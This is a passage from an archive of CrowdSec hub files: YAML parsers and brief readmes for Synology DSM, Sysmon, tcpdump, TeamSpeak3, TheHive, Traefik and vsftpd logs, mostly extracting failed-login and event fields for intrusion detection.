auth.log #debug: true filter: "evt.Parsed.program == 'synoscgi_SYNO.API.Auth_7_login'" name: crowdsecurity/synology-dsm-logs description: "Parse Synology DSM web auth logs" onsuccess: next_stage format: 2.0 pattern_syntax: TIMESTAMP: '%{YEAR}-%{MONTHNUM}-%{MONTHDAY}T%{HOUR}:%{MINUTE}:%{SECOND}+%{ISO8601_TIMEZONE}' # The IP grok pattern that ships with crowdsec is buggy and does not capture the last digit of an IP if it is the last thing it matches, and the last octet starts with a 2 # https://github.com/crowdsecurity/crowdsec/issues/938 IPv4_WORKAROUND: '(?:(?:25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.){3}(?:25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)' IP_WORKAROUND: '(?:%{IPV6}|%{IPv4_WORKAROUND})' AUTH_LOG_FAIL: 'pam_unix\(webui:auth\): authentication failure; logname= uid=0 euid=0 tty= ruser= rhost=%{IP_WORKAROUND:src_ip}' grok: pattern: "%{AUTH_LOG_FAIL}" apply_on: message statics: - meta: log_type value: synology-dsm_failed_auth statics: - meta: log_type value: synology-dsm_failed_auth - meta: service value: synology-dsm - meta: source_ip expression: "evt.Parsed.src_ip" hub1/parsers/s01-parse/crowdsecurity/sysmon-logs.md000066400000000000000000000001341437532772500226460ustar00rootroot00000000000000A parser for [sysmon](https://docs.microsoft.com/en-us/sysinternals/downloads/sysmon) eventshub1/parsers/s01-parse/crowdsecurity/sysmon-logs.yaml000066400000000000000000000556051437532772500232250ustar00rootroot00000000000000onsuccess: next_stage filter: "evt.Parsed.Channel == 'Microsoft-Windows-Sysmon/Operational'" name: crowdsecurity/sysmon description: "Parse sysmon events" nodes: - filter: evt.Parsed.EventID == '1' statics: - parsed: ProcessGuid expression: XMLGetNodeValue(evt.Line.Raw, "/Event/EventData[1]/Data[@Name='ProcessGuid']") - parsed: Image expression: XMLGetNodeValue(evt.Line.Raw, "/Event/EventData[1]/Data[@Name='Image']") - parsed: ProcessId expression: XMLGetNodeValue(evt.Line.Raw, "/Event/EventData[1]/Data[@Name='ProcessId']") - parsed: FileVersion expression: XMLGetNodeValue(evt.Line.Raw, "/Event/EventData[1]/Data[@Name='FileVersion']") - parsed: Description expression: XMLGetNodeValue(evt.Line.Raw, "/Event/EventData[1]/Data[@Name='Description']") - parsed: Company expression: XMLGetNodeValue(evt.Line.Raw, "/Event/EventData[1]/Data[@Name='Company']") - parsed: OriginalFileName expression: XMLGetNodeValue(evt.Line.Raw, "/Event/EventData[1]/Data[@Name='OriginalFileName']") - parsed: CommandLine expression: XMLGetNodeValue(evt.Line.Raw, "/Event/EventData[1]/Data[@Name='CommandLine']") - parsed: CurrentDirectory expression: XMLGetNodeValue(evt.Line.Raw, "/Event/EventData[1]/Data[@Name='CurrentDirectory']") - parsed: User expression: XMLGetNodeValue(evt.Line.Raw, "/Event/EventData[1]/Data[@Name='User']") - parsed: LogonGuid expression: XMLGetNodeValue(evt.Line.Raw, "/Event/EventData[1]/Data[@Name='LogonGuid']") - parsed: LogonId expression: XMLGetNodeValue(evt.Line.Raw, "/Event/EventData[1]/Data[@Name='LogonId']") - parsed: TerminalSessionId expression: XMLGetNodeValue(evt.Line.Raw, "/Event/EventData[1]/Data[@Name='TerminalSessionId']") - parsed: IntegrityLevel expression: XMLGetNodeValue(evt.Line.Raw, "/Event/EventData[1]/Data[@Name='IntegrityLevel']") - parsed: Hashes expression: XMLGetNodeValue(evt.Line.Raw, "/Event/EventData[1]/Data[@Name='Hashes']") - parsed: ParentProcessGuid expression: XMLGetNodeValue(evt.Line.Raw, "/Event/EventData[1]/Data[@Name='ParentProcessGuid']") - parsed: ParentProcessId expression: XMLGetNodeValue(evt.Line.Raw, "/Event/EventData[1]/Data[@Name='ParentProcessId']") - parsed: ParentImage expression: XMLGetNodeValue(evt.Line.Raw, "/Event/EventData[1]/Data[@Name='ParentImage']") - parsed: ParentCommandLine expression: XMLGetNodeValue(evt.Line.Raw, "/Event/EventData[1]/Data[@Name='ParentCommandLine']") - parsed: ParentUser expression: XMLGetNodeValue(evt.Line.Raw, "/Event/EventData[1]/Data[@Name='ParentUser']") - meta: SysmonEventType value: ProcessCreation - filter: evt.Parsed.EventID == '2' statics: - parsed: ProcessGuid expression: XMLGetNodeValue(evt.Line.Raw, "/Event/EventData[1]/Data[@Name='ProcessGuid']") - parsed: Image expression: XMLGetNodeValue(evt.Line.Raw, "/Event/EventData[1]/Data[@Name='Image']") - parsed: ProcessId expression: XMLGetNodeValue(evt.Line.Raw, "/Event/EventData[1]/Data[@Name='ProcessId']") - parsed: TargetFilename expression: XMLGetNodeValue(evt.Line.Raw, "/Event/EventData[1]/Data[@Name='TargetFilename']") - parsed: CreationUtcTime expression: XMLGetNodeValue(evt.Line.Raw, "/Event/EventData[1]/Data[@Name='CreationUtcTime']") - parsed: CreationUtcTime expression: XMLGetNodeValue(evt.Line.Raw, "/Event/EventData[1]/Data[@Name='CreationUtcTime']") - meta: SysmonEventType value: CreationTimeChanged - filter: evt.Parsed.EventID == '3' statics: - parsed: ProcessGuid expression: XMLGetNodeValue(evt.Line.Raw, "/Event/EventData[1]/Data[@Name='ProcessGuid']") - parsed: Image expression: XMLGetNodeValue(evt.Line.Raw, "/Event/EventData[1]/Data[@Name='Image']") - parsed: ProcessId expression: XMLGetNodeValue(evt.Line.Raw, "/Event/EventData[1]/Data[@Name='ProcessId']") - parsed: User expression: XMLGetNodeValue(evt.Line.Raw, "/Event/EventData[1]/Data[@Name='User']") - parsed: Protocol expression: XMLGetNodeValue(evt.Line.Raw, "/Event/EventData[1]/Data[@Name='Protocol']") - parsed: Initiated expression: XMLGetNodeValue(evt.Line.Raw, "/Event/EventData[1]/Data[@Name='Initiated']") - parsed: SourceIsIpv6 expression: XMLGetNodeValue(evt.Line.Raw, "/Event/EventData[1]/Data[@Name='SourceIsIpv6']") - parsed: SourceIp expression: XMLGetNodeValue(evt.Line.Raw, "/Event/EventData[1]/Data[@Name='SourceIp']") - parsed: SourceHostname expression: XMLGetNodeValue(evt.Line.Raw, "/Event/EventData[1]/Data[@Name='SourceHostname']") - parsed: SourcePort expression: XMLGetNodeValue(evt.Line.Raw, "/Event/EventData[1]/Data[@Name='SourcePort']") - parsed: SourcePortName expression: XMLGetNodeValue(evt.Line.Raw, "/Event/EventData[1]/Data[@Name='SourcePortName']") - parsed: DestinationIsIpv6 expression: XMLGetNodeValue(evt.Line.Raw, "/Event/EventData[1]/Data[@Name='DestinationIsIpv6']") - parsed: DestinationIp expression: XMLGetNodeValue(evt.Line.Raw, "/Event/EventData[1]/Data[@Name='DestinationIp']") - parsed: DestinationHostname expression: XMLGetNodeValue(evt.Line.Raw, "/Event/EventData[1]/Data[@Name='DestinationHostname']") - parsed: DestinationPort expression: XMLGetNodeValue(evt.Line.Raw, "/Event/EventData[1]/Data[@Name='DestinationPort']") - parsed: DestinationPortName expression: XMLGetNodeValue(evt.Line.Raw, "/Event/EventData[1]/Data[@Name='DestinationPortName']") - meta: SysmonEventType value: NetworkConnection - filter: evt.Parsed.EventID == '4' statics: - parsed: State expression: XMLGetNodeValue(evt.Line.Raw, "/Event/EventData[1]/Data[@Name='State']") - parsed: Version expression: XMLGetNodeValue(evt.Line.Raw, "/Event/EventData[1]/Data[@Name='Version']") - parsed: SchemaVersion expression: XMLGetNodeValue(evt.Line.Raw, "/Event/EventData[1]/Data[@Name='SchemaVersion']") - meta: SysmonEventType value: SysmonServiceStateChanged - filter: evt.Parsed.EventID == '5' statics: - parsed: ProcessGuid expression: XMLGetNodeValue(evt.Line.Raw, "/Event/EventData[1]/Data[@Name='ProcessGuid']") - parsed: Image expression: XMLGetNodeValue(evt.Line.Raw, "/Event/EventData[1]/Data[@Name='Image']") - parsed: ProcessId expression: XMLGetNodeValue(evt.Line.Raw, "/Event/EventData[1]/Data[@Name='ProcessId']") - meta: SysmonEventType value: ProcessTerminated - filter: evt.Parsed.EventID == '6' statics: - parsed: ImageLoaded expression: XMLGetNodeValue(evt.Line.Raw, "/Event/EventData[1]/Data[@Name='ImageLoaded']") - parsed: Hashes expression: XMLGetNodeValue(evt.Line.Raw, "/Event/EventData[1]/Data[@Name='Hashes']") - parsed: Signed expression: XMLGetNodeValue(evt.Line.Raw, "/Event/EventData[1]/Data[@Name='Signed']") - parsed: Signature expression: XMLGetNodeValue(evt.Line.Raw, "/Event/EventData[1]/Data[@Name='Signature']") - parsed: SignatureStatus expression: XMLGetNodeValue(evt.Line.Raw, "/Event/EventData[1]/Data[@Name='SignatureStatus']") - meta: SysmonEventType value: DriverLoaded - filter: evt.Parsed.EventID == '7' statics: - parsed: ProcessGuid expression: XMLGetNodeValue(evt.Line.Raw, "/Event/EventData[1]/Data[@Name='ProcessGuid']") - parsed: ProcessId expression: XMLGetNodeValue(evt.Line.Raw, "/Event/EventData[1]/Data[@Name='ProcessId']") - parsed: Image expression: XMLGetNodeValue(evt.Line.Raw, "/Event/EventData[1]/Data[@Name='Image']") - parsed: ImageLoaded expression: XMLGetNodeValue(evt.Line.Raw, "/Event/EventData[1]/Data[@Name='ImageLoaded']") - parsed: Hashes expression: XMLGetNodeValue(evt.Line.Raw, "/Event/EventData[1]/Data[@Name='Hashes']") - parsed: Signed expression: XMLGetNodeValue(evt.Line.Raw, "/Event/EventData[1]/Data[@Name='Signed']") - parsed: Signature expression: XMLGetNodeValue(evt.Line.Raw, "/Event/EventData[1]/Data[@Name='Signature']") - parsed: SignatureStatus expression: XMLGetNodeValue(evt.Line.Raw, "/Event/EventData[1]/Data[@Name='SignatureStatus']") - meta: SysmonEventType value: ImageLoaded - filter: evt.Parsed.EventID == '8' statics: - parsed: SourceProcessGuid expression: XMLGetNodeValue(evt.Line.Raw, "/Event/EventData[1]/Data[@Name='SourceProcessGuid']") - parsed: SourceProcessId expression: XMLGetNodeValue(evt.Line.Raw, "/Event/EventData[1]/Data[@Name='SourceProcessId']") - parsed: SourceImage expression: XMLGetNodeValue(evt.Line.Raw, "/Event/EventData[1]/Data[@Name='SourceImage']") - parsed: TargetProcessGuid expression: XMLGetNodeValue(evt.Line.Raw, "/Event/EventData[1]/Data[@Name='TargetProcessGuid']") - parsed: TargetProcessId expression: XMLGetNodeValue(evt.Line.Raw, "/Event/EventData[1]/Data[@Name='TargetProcessId']") - parsed: TargetImage expression: XMLGetNodeValue(evt.Line.Raw, "/Event/EventData[1]/Data[@Name='TargetImage']") - parsed: NewThreadId expression: XMLGetNodeValue(evt.Line.Raw, "/Event/EventData[1]/Data[@Name='NewThreadId']") - parsed: StartAddress expression: XMLGetNodeValue(evt.Line.Raw, "/Event/EventData[1]/Data[@Name='StartAddress']") - parsed: StartModule expression: XMLGetNodeValue(evt.Line.Raw, "/Event/EventData[1]/Data[@Name='StartModule']") - parsed: StartFunction expression: XMLGetNodeValue(evt.Line.Raw, "/Event/EventData[1]/Data[@Name='StartFunction']") - meta: SysmonEventType value: CreateRemoteThread - filter: evt.Parsed.EventID == '9' statics: - parsed: ProcessGuid expression: XMLGetNodeValue(evt.Line.Raw, "/Event/EventData[1]/Data[@Name='ProcessGuid']") - parsed: ProcessId expression: XMLGetNodeValue(evt.Line.Raw, "/Event/EventData[1]/Data[@Name='ProcessId']") - parsed: Image expression: XMLGetNodeValue(evt.Line.Raw, "/Event/EventData[1]/Data[@Name='Image']") - parsed: Device expression: XMLGetNodeValue(evt.Line.Raw, "/Event/EventData[1]/Data[@Name='Device']") - meta: SysmonEventType value: RawAccessRead - filter: evt.Parsed.EventID == '10' statics: - parsed: SourceProcessGUID expression: XMLGetNodeValue(evt.Line.Raw, "/Event/EventData[1]/Data[@Name='SourceProcessGUID']") - parsed: SourceProcessId expression: XMLGetNodeValue(evt.Line.Raw, "/Event/EventData[1]/Data[@Name='SourceProcessId']") - parsed: SourceThreadId expression: XMLGetNodeValue(evt.Line.Raw, "/Event/EventData[1]/Data[@Name='SourceThreadId']") - parsed: SourceImage expression: XMLGetNodeValue(evt.Line.Raw, "/Event/EventData[1]/Data[@Name='SourceImage']") - parsed: TargetProcessGUID expression: XMLGetNodeValue(evt.Line.Raw, "/Event/EventData[1]/Data[@Name='TargetProcessGUID']") - parsed: TargetProcessId expression: XMLGetNodeValue(evt.Line.Raw, "/Event/EventData[1]/Data[@Name='TargetProcessId']") - parsed: TargetImage expression: XMLGetNodeValue(evt.Line.Raw, "/Event/EventData[1]/Data[@Name='TargetImage']") - parsed: GrantedAccess expression: XMLGetNodeValue(evt.Line.Raw, "/Event/EventData[1]/Data[@Name='GrantedAccess']") - parsed: CallTrace expression: XMLGetNodeValue(evt.Line.Raw, "/Event/EventData[1]/Data[@Name='CallTrace']") - meta: SysmonEventType value: ProcessAccess - filter: evt.Parsed.EventID == '11' statics: - parsed: ProcessGuid expression: XMLGetNodeValue(evt.Line.Raw, "/Event/EventData[1]/Data[@Name='ProcessGuid']") - parsed: ProcessId expression: XMLGetNodeValue(evt.Line.Raw, "/Event/EventData[1]/Data[@Name='ProcessId']") - parsed: Image expression: XMLGetNodeValue(evt.Line.Raw, "/Event/EventData[1]/Data[@Name='Image']") - parsed: TargetFilename expression: XMLGetNodeValue(evt.Line.Raw, "/Event/EventData[1]/Data[@Name='TargetFilename']") - parsed: CreationUtcTime expression: XMLGetNodeValue(evt.Line.Raw, "/Event/EventData[1]/Data[@Name='CreationUtcTime']") - meta: SysmonEventType value: FileCreate - filter: evt.Parsed.EventID == '12' statics: - parsed: EventType expression: XMLGetNodeValue(evt.Line.Raw, "/Event/EventData[1]/Data[@Name='EventType']") - parsed: ProcessGuid expression: XMLGetNodeValue(evt.Line.Raw, "/Event/EventData[1]/Data[@Name='ProcessGuid']") - parsed: ProcessId expression: XMLGetNodeValue(evt.Line.Raw, "/Event/EventData[1]/Data[@Name='ProcessId']") - parsed: Image expression: XMLGetNodeValue(evt.Line.Raw, "/Event/EventData[1]/Data[@Name='Image']") - parsed: TargetObject expression: XMLGetNodeValue(evt.Line.Raw, "/Event/EventData[1]/Data[@Name='TargetObject']") - meta: SysmonEventType value: RegistryCreateOrDel - filter: evt.Parsed.EventID == '13' statics: - parsed: EventType expression: XMLGetNodeValue(evt.Line.Raw, "/Event/EventData[1]/Data[@Name='EventType']") - parsed: ProcessGuid expression: XMLGetNodeValue(evt.Line.Raw, "/Event/EventData[1]/Data[@Name='ProcessGuid']") - parsed: ProcessId expression: XMLGetNodeValue(evt.Line.Raw, "/Event/EventData[1]/Data[@Name='ProcessId']") - parsed: Image expression: XMLGetNodeValue(evt.Line.Raw, "/Event/EventData[1]/Data[@Name='Image']") - parsed: TargetObject expression: XMLGetNodeValue(evt.Line.Raw, "/Event/EventData[1]/Data[@Name='TargetObject']") - parsed: Details expression: XMLGetNodeValue(evt.Line.Raw, "/Event/EventData[1]/Data[@Name='Details']") - meta: SysmonEventType value: RegistrySetValue - filter: evt.Parsed.EventID == '14' statics: - parsed: EventType expression: XMLGetNodeValue(evt.Line.Raw, "/Event/EventData[1]/Data[@Name='EventType']") - parsed: ProcessGuid expression: XMLGetNodeValue(evt.Line.Raw, "/Event/EventData[1]/Data[@Name='ProcessGuid']") - parsed: ProcessId expression: XMLGetNodeValue(evt.Line.Raw, "/Event/EventData[1]/Data[@Name='ProcessId']") - parsed: Image expression: XMLGetNodeValue(evt.Line.Raw, "/Event/EventData[1]/Data[@Name='Image']") - parsed: TargetObject expression: XMLGetNodeValue(evt.Line.Raw, "/Event/EventData[1]/Data[@Name='TargetObject']") - parsed: NewName expression: XMLGetNodeValue(evt.Line.Raw, "/Event/EventData[1]/Data[@Name='NewName']") - meta: SysmonEventType value: RegistryRename - filter: evt.Parsed.EventID == '15' statics: - parsed: ProcessGuid expression: XMLGetNodeValue(evt.Line.Raw, "/Event/EventData[1]/Data[@Name='ProcessGuid']") - parsed: ProcessId expression: XMLGetNodeValue(evt.Line.Raw, "/Event/EventData[1]/Data[@Name='ProcessId']") - parsed: Image expression: XMLGetNodeValue(evt.Line.Raw, "/Event/EventData[1]/Data[@Name='Image']") - parsed: TargetFilename expression: XMLGetNodeValue(evt.Line.Raw, "/Event/EventData[1]/Data[@Name='TargetFilename']") - parsed: CreationUtcTime expression: XMLGetNodeValue(evt.Line.Raw, "/Event/EventData[1]/Data[@Name='CreationUtcTime']") - meta: SysmonEventType value: FileCreateStreamHash - filter: evt.Parsed.EventID == '16' statics: - parsed: ConfigurationFileHash expression: XMLGetNodeValue(evt.Line.Raw, "/Event/EventData[1]/Data[@Name='ConfigurationFileHash']") - parsed: Configuration expression: XMLGetNodeValue(evt.Line.Raw, "/Event/EventData[1]/Data[@Name='Configuration']") - meta: SysmonEventType value: SysmonConfigChange - filter: evt.Parsed.EventID == '17' statics: - parsed: ProcessGuid expression: XMLGetNodeValue(evt.Line.Raw, "/Event/EventData[1]/Data[@Name='ProcessGuid']") - parsed: ProcessId expression: XMLGetNodeValue(evt.Line.Raw, "/Event/EventData[1]/Data[@Name='ProcessId']") - parsed: Image expression: XMLGetNodeValue(evt.Line.Raw, "/Event/EventData[1]/Data[@Name='Image']") - parsed: PipeName expression: XMLGetNodeValue(evt.Line.Raw, "/Event/EventData[1]/Data[@Name='PipeName']") - meta: SysmonEventType value: PipeCreated - filter: evt.Parsed.EventID == '18' statics: - parsed: ProcessGuid expression: XMLGetNodeValue(evt.Line.Raw, "/Event/EventData[1]/Data[@Name='ProcessGuid']") - parsed: ProcessId expression: XMLGetNodeValue(evt.Line.Raw, "/Event/EventData[1]/Data[@Name='ProcessId']") - parsed: Image expression: XMLGetNodeValue(evt.Line.Raw, "/Event/EventData[1]/Data[@Name='Image']") - parsed: PipeName expression: XMLGetNodeValue(evt.Line.Raw, "/Event/EventData[1]/Data[@Name='PipeName']") - meta: SysmonEventType value: PipeConnected - filter: evt.Parsed.EventID == '19' statics: - parsed: EventType expression: XMLGetNodeValue(evt.Line.Raw, "/Event/EventData[1]/Data[@Name='EventType']") - parsed: Operation expression: XMLGetNodeValue(evt.Line.Raw, "/Event/EventData[1]/Data[@Name='Operation']") - parsed: User expression: XMLGetNodeValue(evt.Line.Raw, "/Event/EventData[1]/Data[@Name='User']") - parsed: EventNamespace expression: XMLGetNodeValue(evt.Line.Raw, "/Event/EventData[1]/Data[@Name='EventNamespace']") - parsed: Name expression: XMLGetNodeValue(evt.Line.Raw, "/Event/EventData[1]/Data[@Name='Name']") - parsed: Query expression: XMLGetNodeValue(evt.Line.Raw, "/Event/EventData[1]/Data[@Name='Query']") - meta: SysmonEventType value: WmiEventFilter - filter: evt.Parsed.EventID == '20' statics: - parsed: EventType expression: XMLGetNodeValue(evt.Line.Raw, "/Event/EventData[1]/Data[@Name='EventType']") - parsed: Operation expression: XMLGetNodeValue(evt.Line.Raw, "/Event/EventData[1]/Data[@Name='Operation']") - parsed: User expression: XMLGetNodeValue(evt.Line.Raw, "/Event/EventData[1]/Data[@Name='User']") - parsed: Type expression: XMLGetNodeValue(evt.Line.Raw, "/Event/EventData[1]/Data[@Name='Type']") - parsed: Name expression: XMLGetNodeValue(evt.Line.Raw, "/Event/EventData[1]/Data[@Name='Name']") - parsed: Destination expression: XMLGetNodeValue(evt.Line.Raw, "/Event/EventData[1]/Data[@Name='Destination']") - meta: SysmonEventType value: WmiEventConsumer - filter: evt.Parsed.EventID == '21' statics: - parsed: EventType expression: XMLGetNodeValue(evt.Line.Raw, "/Event/EventData[1]/Data[@Name='EventType']") - parsed: Operation expression: XMLGetNodeValue(evt.Line.Raw, "/Event/EventData[1]/Data[@Name='Operation']") - parsed: User expression: XMLGetNodeValue(evt.Line.Raw, "/Event/EventData[1]/Data[@Name='User']") - parsed: Consumer expression: XMLGetNodeValue(evt.Line.Raw, "/Event/EventData[1]/Data[@Name='Consumer']") - parsed: Filter expression: XMLGetNodeValue(evt.Line.Raw, "/Event/EventData[1]/Data[@Name='Filter']") - meta: SysmonEventType value: WmiEventConsumerToFilter - filter: evt.Parsed.EventID == '22' statics: - parsed: ProcessGuid expression: XMLGetNodeValue(evt.Line.Raw, "/Event/EventData[1]/Data[@Name='ProcessGuid']") - parsed: ProcessId expression: XMLGetNodeValue(evt.Line.Raw, "/Event/EventData[1]/Data[@Name='ProcessId']") - parsed: QueryName expression: XMLGetNodeValue(evt.Line.Raw, "/Event/EventData[1]/Data[@Name='QueryName']") - parsed: QueryStatus expression: XMLGetNodeValue(evt.Line.Raw, "/Event/EventData[1]/Data[@Name='QueryStatus']") - parsed: QueryResults expression: XMLGetNodeValue(evt.Line.Raw, "/Event/EventData[1]/Data[@Name='QueryResults']") - parsed: Image expression: XMLGetNodeValue(evt.Line.Raw, "/Event/EventData[1]/Data[@Name='Image']") - meta: SysmonEventType value: DNSEvent - filter: evt.Parsed.EventID == '23' statics: - parsed: ProcessGuid expression: XMLGetNodeValue(evt.Line.Raw, "/Event/EventData[1]/Data[@Name='ProcessGuid']") - parsed: ProcessId expression: XMLGetNodeValue(evt.Line.Raw, "/Event/EventData[1]/Data[@Name='ProcessId']") - parsed: User expression: XMLGetNodeValue(evt.Line.Raw, "/Event/EventData[1]/Data[@Name='User']") - parsed: Image expression: XMLGetNodeValue(evt.Line.Raw, "/Event/EventData[1]/Data[@Name='Image']") - parsed: TargetFilename expression: XMLGetNodeValue(evt.Line.Raw, "/Event/EventData[1]/Data[@Name='TargetFilename']") - parsed: Hashes expression: XMLGetNodeValue(evt.Line.Raw, "/Event/EventData[1]/Data[@Name='Hashes']") - parsed: IsExecutable expression: XMLGetNodeValue(evt.Line.Raw, "/Event/EventData[1]/Data[@Name='IsExecutable']") - parsed: Archived expression: XMLGetNodeValue(evt.Line.Raw, "/Event/EventData[1]/Data[@Name='Archived']") - meta: SysmonEventType value: FileDelete - filter: evt.Parsed.EventID == '24' statics: - parsed: ProcessGuid expression: XMLGetNodeValue(evt.Line.Raw, "/Event/EventData[1]/Data[@Name='ProcessGuid']") - parsed: ProcessId expression: XMLGetNodeValue(evt.Line.Raw, "/Event/EventData[1]/Data[@Name='ProcessId']") - parsed: User expression: XMLGetNodeValue(evt.Line.Raw, "/Event/EventData[1]/Data[@Name='User']") - parsed: Image expression: XMLGetNodeValue(evt.Line.Raw, "/Event/EventData[1]/Data[@Name='Image']") - parsed: Session expression: XMLGetNodeValue(evt.Line.Raw, "/Event/EventData[1]/Data[@Name='Session']") - parsed: ClientInfo expression: XMLGetNodeValue(evt.Line.Raw, "/Event/EventData[1]/Data[@Name='ClientInfo']") - parsed: Hashes expression: XMLGetNodeValue(evt.Line.Raw, "/Event/EventData[1]/Data[@Name='Hashes']") - parsed: IsExecutable expression: XMLGetNodeValue(evt.Line.Raw, "/Event/EventData[1]/Data[@Name='IsExecutable']") - parsed: Archived expression: XMLGetNodeValue(evt.Line.Raw, "/Event/EventData[1]/Data[@Name='Archived']") - meta: SysmonEventType value: ClipboardChange - filter: evt.Parsed.EventID == '225' statics: - meta: SysmonEventType value: SysmonInternalError statics: - meta: service value: sysmon - meta: RuleName expression: XMLGetNodeValue(evt.Line.Raw, "/Event/EventData[1]/Data[@Name='RuleName']")hub1/parsers/s01-parse/crowdsecurity/tcpdump-logs.md000066400000000000000000000007531437532772500230010ustar00rootroot00000000000000A parser for tcpdump logs. To make this parser relevant, you should have add tcpdump command that log tcp scan : An example: ```bash cat < /etc/systemd/system/tcpdump.service [Unit] Description=TCPDUMP [Service] Type=simple User=root ExecStart=/bin/sh -c 'tcpdump -l -n -i eth0 "tcp[tcpflags] & (tcp-syn) != 0" >> /var/log/tcpdump.out' Restart=on-failure [Install] WantedBy=multi-user.target EOF systemctl daemon-reload systemctl enable tcpdump.service service tcpdump start ``` hub1/parsers/s01-parse/crowdsecurity/tcpdump-logs.yaml000066400000000000000000000010761437532772500233420ustar00rootroot00000000000000onsuccess: next_stage filter: "evt.Parsed.program == 'tcpdump'" name: crowdsecurity/tcpdump-logs #debug: true description: "Parse tcpdump raw logs" grok: name: "TCPDUMP_OUTPUT" apply_on: message statics: - meta: service value: tcp - meta: log_type value: tcp_syn - meta: source_ip expression: "evt.Parsed.source_ip" - meta: dest_ip expression: "evt.Parsed.dest_ip" - meta: dest_port expression: "evt.Parsed.dest_port" - parsed: "new_connection" expression: "evt.Parsed.tcpflags contains 'S' ? 'true' : 'false'"hub1/parsers/s01-parse/crowdsecurity/teamspeak3-logs.md000066400000000000000000000001661437532772500233600ustar00rootroot00000000000000A parser for teamspeak3 server logs. As teamspeak3 logging is limited, only failed logins via ssh/telnet are parsed. hub1/parsers/s01-parse/crowdsecurity/teamspeak3-logs.yaml000066400000000000000000000017501437532772500237220ustar00rootroot00000000000000onsuccess: next_stage filter: "evt.Parsed.program == 'ts3'" name: crowdsecurity/teamspeak3-logs #debug: true description: "Parse teamspeak3 server logs" pattern_syntax: NOPIPE: '[a-zA-Z\s]+' TS3_AUTH_FAIL: '^%{TIMESTAMP_ISO8601:timestamp}\|%{NOPIPE:level}\|%{NOPIPE:service}\|%{NOPIPE:empty}\|query from %{INT:chan} \[?%{IP:src_ip}\]?:%{INT:src_port} attempted to login with account "%{DATA:login}" and failed!$' #2022-12-29 11:39:26.009756|INFO |Query | |query from 11 127.0.0.1:48426 attempted to login with account "toto" and failed! #2023-01-13 00:44:27.543333|INFO |Query | |query from 101 [fd00:feed:dead:beef:405f:26ff:fe06:d4b]:34232 attempted to login with account "toto" and failed! grok: name: TS3_AUTH_FAIL apply_on: message statics: - meta: service value: teamspeak3 - meta: log_type value: ts3_fail_auth - meta: source_ip expression: "evt.Parsed.src_ip" - target: evt.StrTime expression: evt.Parsed.timestamp hub1/parsers/s01-parse/crowdsecurity/thehive-logs.md000066400000000000000000000001351437532772500227530ustar00rootroot00000000000000Thehive authentication failure parser. Reference: https://docs.strangebee.com/thehive/setup/hub1/parsers/s01-parse/crowdsecurity/thehive-logs.yaml000066400000000000000000000007171437532772500233230ustar00rootroot00000000000000onsuccess: next_stage name: crowdsecurity/thehive-logs description: "Parse Thehive logs" filter: "evt.Parsed.program == 'thehive'" nodes: - grok: pattern: '\[info\] o.t.s.AccessLogFilter \[.*\] %{IP:source_ip} POST /api/v1/login took %{INT}ms and returned 401 %{INT} bytes' apply_on: message statics: - meta: log_type value: thehive_failed_auth - meta: source_ip expression: "evt.Parsed.source_ip" - target: evt.StrTime value: totohub1/parsers/s01-parse/crowdsecurity/traefik-logs.md000066400000000000000000000003451437532772500227470ustar00rootroot00000000000000> Co-authored with (https://github.com/gmelodie) This traefik parser supports access logs in the Common Log Format ([defined here for Traefik](https://doc.traefik.io/traefik/observability/access-logs/#format)) and JSON formats. hub1/parsers/s01-parse/crowdsecurity/traefik-logs.yaml000066400000000000000000000060101437532772500233040ustar00rootroot00000000000000# co-authored with gmelodie (https://github.com/gmelodie) name: crowdsecurity/traefik-logs description: "Parse Traefik access logs" filter: "evt.Parsed.program startsWith 'traefik'" #debug: true onsuccess: next_stage pattern_syntax: TRAEFIK_ROUTER: '(%{USER}@%{URIHOST}|\-)' TRAEFIK_SERVER_URL: '(%{URI}|\-)' NUMBER_MINUS: '[0-9-]+' NGINXACCESS2: '%{IPORHOST:remote_addr} - %{NGUSER:remote_user} \[%{HTTPDATE:time_local}\] "%{WORD:verb} %{DATA:request} HTTP/%{NUMBER:http_version}" %{NUMBER_MINUS:status} %{NUMBER_MINUS:body_bytes_sent} "%{NOTDQUOTE:http_referer}" "%{NOTDQUOTE:http_user_agent}"' nodes: - grok: # CLF parser pattern: '%{NGINXACCESS2} %{NUMBER:number_of_requests_received_since_traefik_started} "%{TRAEFIK_ROUTER:traefik_router_name}" "%{TRAEFIK_SERVER_URL:traefik_server_url}" %{NUMBER:request_duration_in_ms}ms' apply_on: message onsuccess: next_stage - grok: nodes: - grok: pattern: '%{IPORHOST:remote_addr}' expression: JsonExtract(evt.Parsed.message, "ClientAddr") - grok: pattern: '%{IPORHOST:dest_addr}' expression: JsonExtract(evt.Parsed.message, "ClientAddr") - grok: pattern: '%{IPORHOST:request_addr}' expression: JsonExtract(evt.Parsed.message, "RequestAddr") - grok: pattern: '%{USERNAME:service_addr}' expression: JsonExtract(evt.Parsed.message, "ServiceAddr") - grok: pattern: '%{USERNAME:http_user_agent}' expression: JsonExtract(evt.Parsed.message, "request_User-Agent") - grok: pattern: '%{NUMBER:body_bytes_sent}' expression: JsonExtract(evt.Parsed.message, "DownstreamContentSize") - grok: pattern: '%{NUMBER:request_duration_in_ms}' expression: JsonExtract(evt.Parsed.message, "Duration") - grok: pattern: '%{TRAEFIK_ROUTER:traefik_router_name}' expression: JsonExtract(evt.Parsed.message, "RouterName") - grok: pattern: '%{GREEDYDATA:time_local}' expression: JsonExtract(evt.Parsed.message, "time") - grok: pattern: '%{GREEDYDATA:verb}' expression: JsonExtract(evt.Parsed.message, "RequestMethod") - grok: pattern: '%{GREEDYDATA:request}' expression: JsonExtract(evt.Parsed.message, "RequestPath") - grok: pattern: 'HTTP/%{NUMBER:http_version}' expression: JsonExtract(evt.Parsed.message, "RequestProtocol") - grok: pattern: '%{NUMBER:status}' expression: JsonExtract(evt.Parsed.message, "DownstreamStatus") statics: - meta: service value: http - meta: http_status expression: "evt.Parsed.status" - meta: http_path expression: "evt.Parsed.request" - meta: user expression: "evt.Parsed.remote_user" - meta: source_ip expression: "evt.Parsed.remote_addr" - meta: log_type value: http_access-log - target: evt.StrTime expression: "evt.Parsed.time_local" - meta: traefik_router_name expression: "evt.Parsed.traefik_router_name" hub1/parsers/s01-parse/crowdsecurity/vsftpd-logs.md000066400000000000000000000001201437532772500226170ustar00rootroot00000000000000FTP ([vsftpd](https://en.wikipedia.org/wiki/Vsftpd)) authentication fail parser.hub1/parsers/s01-parse/crowdsecurity/vsftpd-logs.yaml000066400000000000000000000022711437532772500231720ustar00rootroot00000000000000onsuccess: next_stage name: vsftpd-logs description: 